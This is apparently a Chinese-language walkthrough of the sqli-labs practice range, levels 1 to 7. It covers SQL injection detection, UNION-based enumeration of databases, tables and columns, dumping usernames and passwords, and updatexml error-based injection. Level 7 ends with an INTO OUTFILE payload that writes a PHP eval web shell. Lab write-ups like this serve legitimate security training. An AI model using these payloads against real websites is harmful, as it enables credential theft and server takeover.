先在?id参数后面判断是否存在sql注入
id=1 返回正常
id=1' 返回报错(说明可能存在sql注入)
id=1 and 1=1 返回正常
id=1 and 1=2 返回正常
id=1' and 1=1 报错
id=1' and 1=2 报错
说明$id后面可能还存在sql语句(源码源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";)(--+是为了注释后面的limit 0,1";)
id=1' and 1=1 --+ 返回正常
id=1' and 1=2 --+ 报错
接下来拿开源靶场测试sqllibs
接上面可以用order by 来字段测试有多少列
?id=1' order by 1 --+正常
?id=1' order by 3 --+正常
?id=1' order by 4 --+报错
说明这里字段数为3,之后用联合查询union select 拼接
?id=1' and 1=2 union select 1,2,3 --+或者#这里哪个都可以,这里的and 1=2是为了就将正确的id=1'不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3 字段.
可以利用来判断注入点语句如下:?id=1' and 1=2 union select 1,database(),version() --+ 得到数据库名以及版本号。
可以查看数据库名:?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+当然这个语句支持的是mysql5.0以上的。当然这里不拘泥于查询information_schema这个数据库名
查看数据库中的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+
或者查询数据库中其他的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
查看表中的字段:?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+
爆出指定字段:?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3 --+
第二关与第一关基本一样就是在?id=1' and 1=1 --+(把' 去掉就行其他查询方式以及原理一样),源码:源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";(这里是数字型注入) 其他流程都和第一关一样
第三关(这里是字符型注入)源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号: ?id=1') and 1=1 --+ 其他流程都和第一关一样
第四关(这里是字符型注入)源码源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其他流程都和第一关一样
第五关:(采取sql盲注)
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里盲注报错有三种,floor updataxml extractvalue,这里我们用updataxml:自定义一个payload:
union select updatexml(1,concat('~',(payload),'~'),3)
判断数据库:union select updatexml(1,concat('~',(database()),'~'),3) --+
判断表名:?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3) --+
判断字段名:?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3) --+
爆出他的字段:?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) --+
第六关字符型注入+盲注
源码:$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
过程:id闭合需要修改为id=1",其它和Pass-5一样
第七关:字符型注入+盲注
源码:源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
?id=1')) and 1=2 union select null,'<?php @eval($_REQUEST['111']);?>',null into outfile '一句话路径名' --+